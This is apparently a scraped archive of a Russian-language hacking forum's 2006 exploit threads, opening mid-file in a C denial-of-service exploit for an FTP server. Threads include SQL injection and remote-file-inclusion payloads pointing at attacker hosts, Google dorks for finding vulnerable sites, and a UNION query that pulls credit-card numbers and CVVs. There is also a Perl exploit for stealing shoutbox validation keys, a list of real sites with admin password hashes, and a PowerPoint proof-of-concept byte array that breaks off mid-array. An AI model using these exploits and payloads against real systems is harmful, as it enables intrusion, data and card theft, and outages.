         "\x41\x41\x41\x41\x41\x41\x41\x41";

int main(int argc, char **argv) {
    int sd;
    socklen_t len;
    struct sockaddr_in saddr;
    struct hostent *he;
    char buf[512], tmpbuf[128];

    if(argc != 5) {
        printf("FTPXQ Server - Denial of service exploit.\n"
               "Federico Fazzi <federico at autistici.org>\n\n"
               "usage: %s <hostname> <port> <user> <password>\n", argv[0]);
            exit(1);
    }

    if((he = gethostbyname(argv[1])) == NULL) {
        perror("gethostbyname()");
            exit(1);
    }

    // init socket
    if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("socket()");
            exit(1);
    }

    // setup struct
    bzero((char *) &saddr, sizeof(saddr));
    saddr.sin_family = AF_INET;
    bcopy((char *)he->h_addr, (char *)&saddr.sin_addr.s_addr, he->h_length);
    saddr.sin_port = htons(atoi(argv[2]));

    len = sizeof(struct sockaddr);
    // init connection
    if(connect(sd, (struct sockaddr *)&saddr, len) == -1) {
            perror("connect()");
            exit(1);
    }
    printf("FTPXQ Server - Denial of service exploit.\n"
           "Federico Fazzi <federico at autistici.org>\n"
           "---------------------------------------\n");
    puts("connecting..\t\t done");

    // sending a USER data to daemon
    sprintf(buf, "USER %s\r\n", argv[3]);
    write(sd, buf, strlen(buf));
    puts("sending USER data..\t done");

    // sending a PASS data to daemon
    sprintf(buf, "PASS %s\r\n", argv[4]);
    write(sd, buf, strlen(buf));
    puts("sending PASS data..\t done");

    // sending a BOF string with MKD command to host
    sprintf(buf, "MKD %s", bof);
    write(sd, bof, strlen(bof));
    puts("sending MKD bof string.. done");

    // now checking if server i down
    if(read(sd, tmpbuf, sizeof(tmpbuf)) > 0)
        puts("[!] server doesn't vulnerable");
    else
        puts("[+] server getting down.. done");
    close(sd);

    return(0);
}
Compteur 2.x - php including
ID: 67686ba3b4103b69df379e14
Thread ID: 12466
Created: 2006-10-11T15:44:36+0000
Last Post: 2006-10-11T15:44:36+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

Compteur - php including
Дата Выпуска: 2006-10-11
Уровень: Высоко критический
Решение: Неисправленно
Программное обеспечение: Compteur 2.x

Описание:
Входящие данные в параметрах "folder" в param_editor.php, и "cp" в compteur.phpдолжным образом не проверяются при инклуде локальных файлов.
Уязвимость позволяет заинклудить внешний скрипт.
Пример:

Code:Copy to clipboard

Http://www.site.com/param_editor.php?folder=URL
Http://www.site.com/counter.php?cp=URL

Источник: secunia.com

GZIP под прицелом
ID: 67686ba3b4103b69df379e16
Thread ID: 12012
Created: 2006-09-23T16:22:05+0000
Last Post: 2006-09-23T16:22:05+0000
Author: Great
Prefix: Local
Replies: 0 Views: 2K

Множественные уязвимости в gzip
Многочисленные дистрибьюторы и разработчики Linux и FreeBSD выпустили новые пакеты обновления OpenSource-утилиты сжатия GNUzip. Обновление устраняет 4 уязвимости. Три из них основаны на переполнении буфера в функциях make_table (unlzh.c), build_tree (unpack.c), make_table (поддержка LHA). При распаковке заранее сготовленных архивов враждебный код может быть исполнен на компьютере в контексте текущего пользователя. Четвертая уязвимость находится в обработке LZH, которая просто вызывает крах.
Никакие официальные патчи не доступны в настоящее время. Пользователям следует установить пакеты для обновления как можно скорее.

Дата: 22.09.2006

eXV2 2.x - SQL injection
ID: 67686ba3b4103b69df379e17
Thread ID: 11998
Created: 2006-09-23T07:41:39+0000
Last Post: 2006-09-23T07:41:39+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

eXV2 - SQL injection
Дата Выпуска: 2006-09-22
Уровень: Умеренно критический
Воздействие: Манипуляция данными
Решение: Неисправленно
ПО: eXV2
Версия: 2.x
Описание:
Входящие данные в параметре "sort" в modules/messages/index.php, должным образом не проверяются перед использованием в SQL запросе. Это может эксплуатироваться, чтобы управлять запросами SQL, вводя произвольный коде SQL.
Пример:

Code:Copy to clipboard

http://site.com/modules/messages/index.php?sort=CODE

secunia.com

C-News v 1.0.1 < = Multiple Remote File Include Vulnerabilities
ID: 67686ba3b4103b69df379e18
Thread ID: 11657
Created: 2006-09-12T22:05:16+0000
Last Post: 2006-09-12T22:05:16+0000
Author: ENFIX
Prefix: Web
Replies: 0 Views: 2K

C-News v 1.0.1 < = Multiple Remote File Include Vulnerabilities
Дата: 10 сентября 2006 г.
Автор: ThE__LeO
ПО: C-News v 1.0.1
Описание:
Входные данные в параметре path не достаточно фильтруются перед использованием, что и позволяет заинклудить удаленный файл.
Примеры:

Code:Copy to clipboard

http://Www.Example.Com/[Script]/affichage/pagination.php?path=[U r Evil Script] 
http://Www.Example.Com/[Script]/affichage/formulaire_commentaires.php?pa
th=[U r Evil Script]

источник: www.securityfocus.com

Aardvark Topsites PHP 4.2.2 - SQL Injection
ID: 67686ba3b4103b69df379e1c
Thread ID: 10809
Created: 2006-08-23T14:45:12+0000
Last Post: 2006-08-23T20:04:13+0000
Author: -47-
Prefix: Web
Replies: 1 Views: 2K

SQL Injection в Aardvark Topsites PHP 4.2.2
Уязвимый Файл:
topsitesphp\sources\search.php
Строки 35-41:

$query = "SELECT id, url, title, description, urlbanner FROM ".$CONFIG['sql_prefix']."_members WHERE active = 1 AND (description LIKE '%".$first_kw."%' OR title LIKE '%".$first_kw."%'";
foreach ($keywords as $value) {
$query .= " OR description LIKE '%".$value."%' OR title LIKE '%".$value."%'";
}
$query .= ")";

$result = $db->SelectLimit($query, $CONFIG['searchresults'], $start);

Click to expand...

Уязвимость заключается в отсутствии фильтрации переменной "$start"

Эксплуатация:
http://Host.ru/Dir/index.php?a=search&kw=qqqqqq&start=[SQL]

Аналогичные уязвимости найдены и в более ранних версия скрипта.
Сплоит:

Скрины:

P.S.
На сегодня прошибает 100%

Вот с певрой страницы гугла )
Site;AdminHash
www.punkito.com/top/;63cf514b1e6cfdb67459e1faf196df8a
top.ekatcatholic.ru;f6f17799885f37cccfa74b86281853d0
top.bestwarez.ru;4b929b047fdbe3aa862d47bbf2311402

SQL-Injection in Shop-Script PRO and Shop-Script Premium all ver.
ID: 67686ba3b4103b69df379e1d
Thread ID: 10360
Created: 2006-08-07T05:32:49+0000
Last Post: 2006-08-07T11:34:30+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 1 Views: 2K

SQL-Injection in Shop-Script PRO and Shop-Script Premium all ver.
Vulnerable script: admin.php

Code:Copy to clipboard

http://www.demo.shop-script.ru/premium/admin.php?dpt=custord&sub=ustlist&customer_details=order_history&customerID=1[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=conf&sub=setting&settings_groupID=-2[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=custord&sub=new_orders&orders_detailed=yes&orderID=-107[SQL] 

http://shop/index.php?productID=75&discuss=true&remove_topic=-14[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=catalog&sub=discuss&productID=1114&answer=-9[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=catalog&sub=iscuss&productID=-1114[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=reports&sub=product_report&amp;categoryID=-82[SQL] 

http://demo.shop-script.ru/premium/admin.php?dpt=conf&sub=zones&countryID=-1[SQL] 

http://demo.shop-script.ru/pro/admin.php?dpt=conf&sub=zones&countryID=-1[SQL]

Exploit:

Code:Copy to clipboard

http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= 
product_report&categoryID=-82+union+select+DATABASE(),null,null,null,
null,null,null/* 

http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= 
product_report&categoryID=-82+union+select+USER(),null,null,null,
null,null,null/* 

http://www.demo.shop-script.ru/premium/admin.php?dpt=reports&sub= 
product_report&categoryID=-82+union+select+VERSION(),null,null,null,
null,null,null/* 

http://demo.shop-script.ru/premium/admin.php?dpt=reports&sub= 
product_report&categoryID=-82+union+select+cc_number,cc_holdername,
cc_expires,cc_cvv,null,null,null+from+SS_orders 
/*&sort=customers_rating&sort_dir=ASC

DoS:

Code:Copy to clipboard

http://shop/admin.php?dpt=conf&sub=setting&settings_groupID=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

Vulnerability: раскрытие установочного пути.

Code:Copy to clipboard

http://shop/admin.php?dpt=modules&sub=shipping&setting_up=2'

HTTP-запрос:

Code:Copy to clipboard

GET http://demo.shop-script.ru/premium/index.php?answer=1&show_price= 
yes&save_voting_results=yes HTTP/1.0 
Accept: */* 
Referer: http://demo.shop-script.ru/premium/index.php?show_price=yes 
Accept-Language: ru 
Proxy-Connection: Keep-Alive 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 
Host: demo.shop-script.ru 
Cookie: PHPSESSID=9b93a5c8a536267b43a19263a1819c30'

Источник: www.cyberlords.net

WMNews <= 0.2a (base_datapath) Remote Inclusion Vulnerability
ID: 67686ba3b4103b69df379e1e
Thread ID: 10240
Created: 2006-07-27T18:05:18+0000
Last Post: 2006-07-27T18:05:18+0000
Author: Adolf
Prefix: Web
Replies: 0 Views: 2K

WMNews <= 0.2a (base_datapath) Remote Inclusion Vulnerability

Code:Copy to clipboard

   Advisory: WMNews Remote File Include Vulnerability
 Release Date: 2006/07/26
         Author: uNfz
  Critical Level: High
        Contact: unfzbr@hotmail.com
         Vendor: Warta Mikael

--------------------
--------------------

Ищем в гугле:

allinurl: *.php?Artid=*
allinurl: *.php?ArtCat=*
allinurl: wmprint.php
allinurl: wmview.php

--------------------

подставляем:

/index.php?config=1&base_datapath=http://[evilhost]
/[dir]/index.php?config=1&base_datapath=http://[evilhost]

--------------------
Etomite CMS <= 0.6.1 'rfiles.php' remote command execution
ID: 67686ba3b4103b69df379e1f
Thread ID: 10151
Created: 2006-07-25T16:35:12+0000
Last Post: 2006-07-25T16:35:12+0000
Author: not null
Prefix: Web
Replies: 0 Views: 2K

Etomite CMS <= 0.6.1 'rfiles.php' remote command execution
Эксплоит для удаленного выполнения команд на целевой системе. Использует подмену заголовка HTTP_CLIENT_IP
:zns5: Скачать|Download
Etomite CMS <= 0.6.1 (username) SQL Injection Exploit
Для работы требует на уязвимом хосте

  • magic_quotes = Off
  • MySQL > 4.0

:zns5: Скачать|Download

PHP Live! 3.2.1 - php include
ID: 67686ba3b4103b69df379e20
Thread ID: 10132
Created: 2006-07-25T09:29:25+0000
Last Post: 2006-07-25T09:29:25+0000
Author: DeeIP
Prefix: Web
Replies: 0 Views: 2K

PHP-инклюдинг в PHP Live
Уязвимый продукт: PHP Live! 3.2.1
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "css_path" в сценариях help.php и setup/header.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:

Code:Copy to clipboard

help.php?css_path=htt://attacker
setup/header.php?css_path=htt://attacker

[mod][Ŧ1LAN:] прежде чем постить смотрим правила. пока без минуса.[/mod]

D21-Shoutbox v1.1 Exploit Admin Password Change
ID: 67686ba3b4103b69df379e23
Thread ID: 9959
Created: 2006-07-18T07:21:48+0000
Last Post: 2006-07-20T18:26:57+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 1 Views: 2K

D21-Shoutbox v1.1 Exploit Admin Password Change
Эксплоит:

Code:Copy to clipboard

################################################ 
#!/usr/bin/perl                                                                                                                   # 
# D21-Shoutbox v1.1 Exploit Admin Password Change                                                   # 
# Author: Synsta                                                                                                                # 
# Usuage Tutorial: http://w4ck1ng.com/board/showthread.php?p=431                     # 
# Orginal Exploit Found by Windak & langtuhaohoa                                                      # 
################################################ 
use HTTP::Cookies; 
use LWP 5.64; 
use HTTP::Request; 

# variables 
my $login_page = '?act=Login&CODE=01'; 
my $id = ''; 
my $table_fix = ''; 
my $pose_pm_page = '?'; 
my $tries = 5; 
my $sql = ''; 
my $i; 
my $j; 


# objects 
my $ua = LWP::UserAgent->new; 
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0); 
my $resp; 

# init the cookie jar 
$ua->cookie_jar ($cj); 

# allow redirects on post requests 
push @{ $ua->requests_redirectable }, "POST"; 

# get user input 
print 'Shoutbox URL (ex: forumurl.com/forum): '; 
chomp (my $base_url = <STDIN>); 
print 'Your Username: '; 
chomp (my $user = <STDIN>); 
$form{entered_name} = $user; 
print 'Your Password: '; 
# systems without stty will error otherwise 
my $stty = -x '/bin/stty'; 
system 'stty -echo' if $stty;      # to turn off echoing 
chomp (my $pass = <STDIN>); 
system 'stty echo' if $stty;      # to turn it back on 
print "\n" if $stty; 
print 'ID:';   # it'll say next to one of their posts 
chomp (my $id = <STDIN>); 
print 'Table prefix (ex: ibf_): '; 
chomp ( my $table_fix = <STDIN>); 

if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url } 
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' } 

do { 
   $resp = $ua->post ($base_url . $login_page, 
      [ UserName => $user, 
        PassWord => $pass, 
        CookieDate => 1, 
      ]); 
} while ($tries-- && !$resp->is_success()); 


# did we get 200 (OK) ? 
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" } 

# was the pass right ? 
if ($resp->content =~ /sorry, the password was wrong/i) { 
   die "Error: password incorrect.\n"; 
} 

$| = 1; 
print "\nAttempting to extract validation key from the database...\n "; 

$sql = "?act=Shoutbox&view=mycp&sub=ignored&do=add&id=-1 union select vid,1,1 from ".$table_fix."validating where member_id=". $id ."/*"; 
$resp = $ua->get ($base_url . $post_pm_page . $sql ); 

if (!$resp->is_success()) { 
  print "ERROR"; 
} 
else { 
  print ""  ; 
  #print $resp->content; 
  $rs=$resp->content; 
  if ( $rs =~ /uid=([a-z,0-9]{32})/ ) { print "\nValidation Key: ";  print $1; 
   print "\n \nAuthor:  Synsta\n"; 
   print "Website: w4ck1ng.com\n"; 
   print "Usage Tutorial: http://w4ck1ng.com/board/showthread.php?p=431\n"; 
} 
  else { print "Can't get the pass from output, try to find it manually : "; print $resp->content;}    
} 
<STDIN>;

google dork: "Powered By: D21-Shoutbox 1.1"

PHP-инклюдинг в PHP Event Calendar 1.4
ID: 67686ba3b4103b69df379e24
Thread ID: 9976
Created: 2006-07-19T10:18:25+0000
Last Post: 2006-07-19T10:18:25+0000
Author: DeeIP
Prefix: Web
Replies: 0 Views: 2K

Программа: PHP Event Calendar 1.4, возможно другие версии.

Опасность: Критическая

Наличие эксплоита: Да
**
Описание:**
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "path_to_calendar" в сценарии cl_files/calendar.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Пример:

http://victim/path_to_cl_files/calendar.ph...http://evilcode

mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities
ID: 67686ba3b4103b69df379e25
Thread ID: 9954
Created: 2006-07-18T02:17:09+0000
Last Post: 2006-07-18T02:17:09+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

mail2forum <= 1.2 Multiple Remote File Include Vulnerabilities
Уязвимый продукт:
mail for phpbb (bulletin board/forum software)
послденя версия 1.2
Пример/эксплоит:

Code:Copy to clipboard

http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_forum.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_mailinglist.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[forum_path]/m2f/m2f_cron.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

google dork: allinurl:/m2f_usercp.php?

Выполнение произвольного кода в Microsoft PowerPoint
ID: 67686ba3b4103b69df379e26
Thread ID: 9912
Created: 2006-07-15T09:56:22+0000
Last Post: 2006-07-15T09:56:22+0000
Author: DeeIP
Prefix: Remote
Replies: 0 Views: 2K

Выполнение произвольного кода в Microsoft PowerPoint

Программа:
Microsoft Office 2000
Microsoft Office 2003 Professional Edition
Microsoft Office 2003 Small Business Edition
Microsoft Office 2003 Standard Edition
Microsoft Office 2003 Student and Teacher Edition
Microsoft Powerpoint 2003
Microsoft Office PowerPoint 2003 Viewer
Microsoft Office XP
Microsoft PowerPoint 2000
Microsoft PowerPoint 2002

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.
Уязвимость существует из-за неизвестной ошибки при обработке некоторых строк. Удаленный пользователь может с помощью специально сформированного PowerPoint документа выполнить произвольный код на целевой системе.

Пример/Эксплоит:

Code:Copy to clipboard

/*-----------------------------------------------------------------------------------------
* MS Power Point Unspecified vulnerability POC
* nice SYS 49152 what about rar ?
* sorry no more comments  :( figure it yourself
* some greetz goes to waqas :)
* Tested against Power Point ' 03
* -- naveed
*---------------------------------------------------------------------------------------*/
#include <stdio.h>

unsigned char pparr[] = {
0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x9D,
0xA9, 0xEB, 0x34, 0x32, 0xBE,
0xF8, 0x2F, 0xC7, 0x2D, 0x00, 0x00, 0x00, 0x8C, 0x00, 0x00, 0x08,
0x00, 0x00, 0x00, 0x64, 0x61,
0x77, 0x6E, 0x2E, 0x70, 0x70, 0x74, 0xEC, 0xDA, 0x09, 0x3C, 0x15,
0xEB, 0xFF, 0x07, 0xF0, 0x99,
0x39, 0x64, 0xA9, 0x90, 0xB6, 0x2B, 0x64, 0x69, 0xD1, 0xBE, 0x4B,
0xB8, 0xA4, 0x14, 0x97, 0x44,
0xA9, 0xA4, 0x55, 0xD1, 0x49, 0xB2, 0x2F, 0x91, 0xAD, 0x3D, 0xA5,
0xF5, 0x56, 0xD2, 0x82, 0xCA,
0xA5, 0xDB, 0x42, 0x8B, 0xAB, 0x54, 0x2A, 0xDC, 0x2C, 0xED, 0xA8,
0x94, 0x50, 0x69, 0xD1, 0x76,
0x51, 0xB4, 0x68, 0x21, 0xE7, 0xF7, 0xCC, 0x70, 0x3E, 0x0E, 0x11,
0xDD, 0xDB, 0x7D, 0xFD, 0x5E,
0xFF, 0xD7, 0xEF, 0x3F, 0x5E, 0xDF, 0xCE, 0x3C, 0xEF, 0x73, 0xE6,
0x59, 0x66, 0xBE, 0xCF, 0xCC,
0x9C, 0xE6, 0x64, 0x67, 0xB5, 0x7B, 0x18, 0x19, 0xD7, 0xE5, 0x11,
0xD5, 0x60, 0xD1, 0xA5, 0x78,
0x54, 0xB5, 0x40, 0x8A, 0x6A, 0x25, 0x62, 0x74, 0x6D, 0x70, 0x8B,
0x1C, 0x45, 0x8D, 0xAE, 0x2D,
0x57, 0x0B, 0x04, 0x02, 0x96, 0x46, 0x91, 0x10, 0xFC, 0xFF, 0xF2,
0x7F, 0x6A, 0xF9, 0x52, 0xFB,
0xCA, 0x1E, 0x43, 0x31, 0x72, 0xFC, 0xC4, 0x49, 0xB0, 0xC7, 0x5C,
0x9F, 0x84, 0x24, 0x09, 0x29,
0x12, 0xD2, 0x24, 0x5A, 0x93, 0x68, 0x43, 0xA2, 0x2D, 0x09, 0x19,
0x12, 0xB2, 0x35, 0x29, 0x40,
0xB5, 0x23, 0x21, 0x4F, 0xA2, 0x3D, 0x89, 0x0E, 0x24, 0x3A, 0x92,
0xE8, 0x44, 0xA2, 0x33, 0x89,
0x9F, 0x48, 0x28, 0x90, 0xE8, 0x42, 0x42, 0x91, 0x84, 0x12, 0x09,
0x65, 0x12, 0x5D, 0x49, 0xA8,
0x90, 0x50, 0x25, 0xA1, 0x46, 0x42, 0x9D, 0x44, 0x37, 0x12, 0xDD,
0x6B, 0x73, 0xA9, 0x27, 0x79,
0xD5, 0x20, 0xD1, 0x8B, 0x44, 0x6F, 0x12, 0x7D, 0x48, 0xF4, 0x25,
0xD1, 0x8F, 0x44, 0x7F, 0x12,
0x03, 0x48, 0x0C, 0x24, 0x31, 0x88, 0xC4, 0x60, 0x12, 0x43, 0x48,
0x0C, 0x25, 0x31, 0x8C, 0x84,
0x26, 0x89, 0xE1, 0x24, 0xB4, 0x48, 0x8C, 0x20, 0xA1, 0x4D, 0x42,
0x87, 0xCB, 0x67, 0x8A, 0xFA,
0x99, 0x84, 0x5E, 0x6D, 0x1B, 0x6C, 0x18, 0xD4, 0xAE, 0xFF, 0x2F,
0x2F, 0x96, 0x94, 0x2B, 0xF9,
0xF3, 0x22, 0xC7, 0x62, 0x2C, 0xE5, 0x42, 0x5E, 0x3D, 0x28, 0xDF,
0x86, 0xA7, 0x82, 0x6F, 0x2E,
0x9D, 0x48, 0xC6, 0x08, 0xEB, 0x62, 0x73, 0x47, 0x6E, 0xE3, 0xF2,
0x79, 0x61, 0x16, 0x59, 0xED,
0x82, 0xFE, 0xA2, 0x0E, 0x53, 0x67, 0x7A, 0xBF, 0x10, 0xFD, 0x6C,
0xCA, 0x22, 0xDF, 0x32, 0x7A,
0x7F, 0x06, 0x3D, 0x86, 0xAC, 0x2F, 0x93, 0xAC, 0x31, 0x9A, 0x32,
0x24, 0xED, 0x3B, 0x53, 0x6E,
0x94, 0x05, 0x65, 0x4B, 0x2D, 0xFC, 0xAE, 0xB6, 0xD9, 0x45, 0x9E,
0x62, 0xC8, 0x1F, 0x45, 0xB1,
0xB9, 0xCB, 0xF6, 0xA1, 0xA5, 0xDB, 0x69, 0x53, 0xC2, 0xF6, 0x2D,
0x28, 0x27, 0x8A, 0xFF, 0xDD,
0xED, 0x0A, 0x17, 0x69, 0xD2, 0xBA, 0xE8, 0xFE, 0x6C, 0xC9, 0x36,
0xEC, 0x39, 0xB3, 0x43, 0xED,
0xBA, 0x21, 0xB5, 0x88, 0xEC, 0x73, 0x0F, 0xD2, 0x03, 0x17, 0xEE,
0x28, 0x4C, 0xA1, 0x3C, 0xC9,
0xBA, 0x47, 0x8B, 0xDB, 0xEF, 0xF2, 0x37, 0xDA, 0x67, 0xF7, 0x57,
0xBF, 0xDA, 0x75, 0xE1, 0x5C,
0x68, 0x38, 0xFF, 0x25, 0xA8, 0x7F, 0x6F, 0xFE, 0xB3, 0x6D, 0x89,
0xCE, 0xFF, 0xFF, 0xF5, 0x39,
0xF8, 0xDF, 0x5C, 0x68, 0xB2, 0xF7, 0x79, 0xD2, 0x35, 0x73, 0xA7,
0xE1, 0xDC, 0x65, 0x8F, 0xED,
0xF8, 0x49, 0xAA, 0x13, 0x5C, 0x7D, 0xF8, 0x1E, 0x13, 0x5C, 0x1D,
0x5C, 0xBC, 0x54, 0xB5, 0xB5,
0x1A, 0xE6, 0x12, 0x5D, 0x93, 0x4E, 0xFF, 0x60, 0xA9, 0x90, 0xED,
0x5E, 0x9B, 0x3B, 0x36, 0x29,
0x5B, 0x9E, 0x6C, 0x19, 0xC4, 0xE6, 0xD9, 0x3B, 0x1E, 0x8F, 0x94,
0x0D, 0x17, 0x79, 0x78, 0xF0,
0x49, 0xAB, 0x53, 0x3C, 0xF9, 0x1E, 0x92, 0x4D, 0x6C, 0x6D, 0xA0,
0xD7, 0xA5, 0x2C, 0x9A, 0x24,
0x6C, 0xE9, 0xF8, 0x78, 0xF6, 0x12, 0x40, 0xB9, 0xAB, 0x9B, 0xCC,
0xEB, 0xA4, 0x49, 0xA9, 0x3E,
0x34, 0xAD, 0xFB, 0x8C, 0x9B, 0x2D, 0xB9, 0xB6, 0x90, 0x8B, 0xC2,
0x32, 0xE7, 0x75, 0xD4, 0x3E,
0x75, 0x33, 0xCA, 0x83, 0x4D, 0xF0, 0xEA, 0xC5, 0xE1, 0xA5, 0xE1,
0xA3, 0x16, 0x84, 0x8F, 0xED,
0xB0, 0xAC, 0xD0, 0x2C, 0xD1, 0xD9, 0xC9, 0xB2, 0xA3, 0xA2, 0xA9,
0xE1, 0x0C, 0x93, 0x6E, 0x09,
0xA6, 0x63, 0xB6, 0xFE, 0x6E, 0x75, 0x3E, 0x7A, 0xAD, 0xA2, 0x94,
0x9A, 0xF8, 0x96, 0xAE, 0xF9,
0x93, 0x9C, 0x62, 0x82, 0x6E, 0xEE, 0x36, 0x30, 0xD9, 0xE6, 0x68,
0x20, 0xAB, 0x6E, 0xED, 0xE1,
0xE8, 0x2F, 0x2D, 0xD9, 0xBA, 0xEB, 0xCF, 0xD2, 0xA6, 0x97, 0xD4,
0x8A, 0x72, 0x56, 0x9E, 0x3A,
0xA8, 0x35, 0xB6, 0x7C, 0x6B, 0x4F, 0x55, 0xF5, 0x15, 0x9D, 0xDD,
0x03, 0x5D, 0xED, 0xF7, 0x08,
0x0A, 0x2E, 0x57, 0xDD, 0xDF, 0x55, 0x94, 0xE5, 0xB5, 0x5A, 0xF0,
0x67, 0x59, 0x75, 0xA0, 0xAB,
0xF7, 0x83, 0x02, 0xAD, 0xC2, 0x6B, 0xC9, 0x9F, 0x04, 0x4B, 0xA3,
0xA8, 0x87, 0x7A, 0x97, 0x8A,
0x8A, 0x65, 0x96, 0x0D, 0x88, 0x38, 0xBF, 0xE7, 0x8C, 0x74, 0xD9,
0x3D, 0xED, 0x65, 0x49, 0x37,
0x5A, 0xBB, 0xD2, 0xBD, 0x3E, 0xFA, 0x2A, 0x3D, 0x94, 0xFF, 0xFC,
0x61, 0x54, 0x7C, 0xC0, 0xCA,
0xD7, 0xC5, 0x46, 0x95, 0x85, 0x8B, 0xAB, 0x0E, 0x3D, 0xD1, 0x5D,
0x5B, 0xEA, 0x50, 0xFE, 0x59,
0xAA, 0x72, 0x77, 0xE1, 0xAD, 0x95, 0x17, 0xEF, 0xDF, 0x95, 0x99,
0xEB, 0x9F, 0xD1, 0xB5, 0xAF,
0x93, 0x46, 0xDC, 0x22, 0x5B, 0xFF, 0x4E, 0x05, 0x13, 0x2D, 0xFA,
0x55, 0xEC, 0x4D, 0x58, 0xC2,
0xFF, 0xF2, 0xDE, 0xEF, 0x7C, 0xE4, 0xDE, 0xCE, 0x76, 0x11, 0x17,
0xBC, 0x95, 0x14, 0x03, 0x4F,
0xAC, 0xFB, 0x69, 0xFD, 0x67, 0x8F, 0x91, 0x6F, 0x1E, 0x65, 0x4F,
0x78, 0x9F, 0x76, 0x78, 0xC4,
0xF0, 0x97, 0xDD, 0x5E, 0x76, 0xD2, 0x7C, 0x52, 0x2E, 0x43, 0xF5,
0x3B, 0xA7, 0x9A, 0x11, 0xAA,
0x7D, 0x5A, 0xDD, 0x73, 0x5F, 0x7E, 0xD2, 0x2A, 0x67, 0xC9, 0x82,
0x63, 0x3B, 0x03, 0x5C, 0xD7,
0xDC, 0xC8, 0xB7, 0xEB, 0x3B, 0xE4, 0xCE, 0x1F, 0xCA, 0x3E, 0xD3,
0xD2, 0xB6, 0x26, 0xA8, 0xDB,
0xF5, 0xCF, 0x77, 0xEF, 0x3C, 0xB6, 0x9F, 0x03, 0xA1, 0x10, 0x65,
0x1F, 0x53, 0x8E, 0x36, 0xDE,
0x75, 0x37, 0x1E, 0xC3, 0x92, 0xD5, 0x66, 0xE5, 0x53, 0xC6, 0x1C,
0x39, 0x2F, 0x57, 0xF0, 0x69,
0xFD, 0x87, 0xF5, 0x4D, 0xAB, 0x79, 0xB1, 0x9A, 0xBA, 0xAF, 0x76,
0xAF, 0xED, 0xE1, 0x3C, 0x36,
0x23, 0xD1, 0xFE, 0xE2, 0x79, 0x0D, 0x5B, 0x93, 0x19, 0x5B, 0xE2,
0xE6, 0x97, 0x9C, 0x1E, 0xAA,
0x1E, 0x7A, 0xA2, 0xA3, 0x82, 0x63, 0xCE, 0x26, 0xDD, 0x3E, 0xB6,
0x26, 0x05, 0x82, 0x45, 0x9B,
0x4D, 0x95, 0xD7, 0xBF, 0x33, 0x6C, 0x57, 0x1C, 0x79, 0x25, 0x20,
0xA0, 0xDA, 0x57, 0xA2, 0x60,
0xD5, 0x90, 0xE7, 0x9B, 0x0A, 0x3F, 0x16, 0xD9, 0xF1, 0x27, 0x7E,
0xF1, 0xB9, 0x2B, 0x68, 0x75,
0x6F, 0x45, 0xB1, 0x9B, 0xB8, 0x8B, 0x9F, 0x47, 0xAF, 0xF4, 0x4B,
0xED, 0x06, 0x79, 0xBA, 0xE7,
0x24, 0xB8, 0x38, 0x3E, 0xD7, 0xFE, 0xAD, 0x8B, 0x4D, 0x9A, 0x91,
0x66, 0x78, 0x7A, 0x85, 0xEC,
0x9D, 0x0F, 0xAD, 0x73, 0xD6, 0x2C, 0xF2, 0xAE, 0x96, 0x78, 0x14,
0xF5, 0xB6, 0x42, 0xEC, 0xE3,
0xF3, 0x2F, 0xF2, 0xD9, 0xF7, 0xAE, 0xA7, 0xFC, 0xFC, 0x4E, 0xF3,
0x59, 0x48, 0xD2, 0x52, 0xA5,
0x13, 0x89, 0xB6, 0x9B, 0x2B, 0x9D, 0x67, 0x86, 0xDF, 0x49, 0xAC,
0xDA, 0x63, 0xD9, 0xC1, 0xFE,
0x84, 0x8F, 0xFC, 0xB8, 0xE8, 0x5D, 0x43, 0xF5, 0xE7, 0xAB, 0x78,
0x66, 0xBC, 0x1E, 0xD9, 0xCB,
0xD6, 0xDB, 0xE0, 0xB2, 0xCD, 0x16, 0xF9, 0xD4, 0xC2, 0xAB, 0x57,
0x06, 0x79, 0x4F, 0x71, 0x7E,
0xBE, 0x39, 0x30, 0xB2, 0x2A, 0x62, 0xF9, 0xC5, 0x54, 0x9B, 0xF1,
0x0A, 0x19, 0xBF, 0x0C, 0x5D,
0x1A, 0x70, 0x2D, 0x69, 0x6B, 0xB2, 0x17, 0x79, 0x3B, 0x88, 0x5F,
0x72, 0xFA, 0x41, 0x66, 0xA1,
0x51, 0xF7, 0xA5, 0xA9, 0x65, 0x8B, 0x3F, 0x86, 0xE5, 0x04, 0x0D,
0xBE, 0x79, 0x4D, 0x45, 0x25,
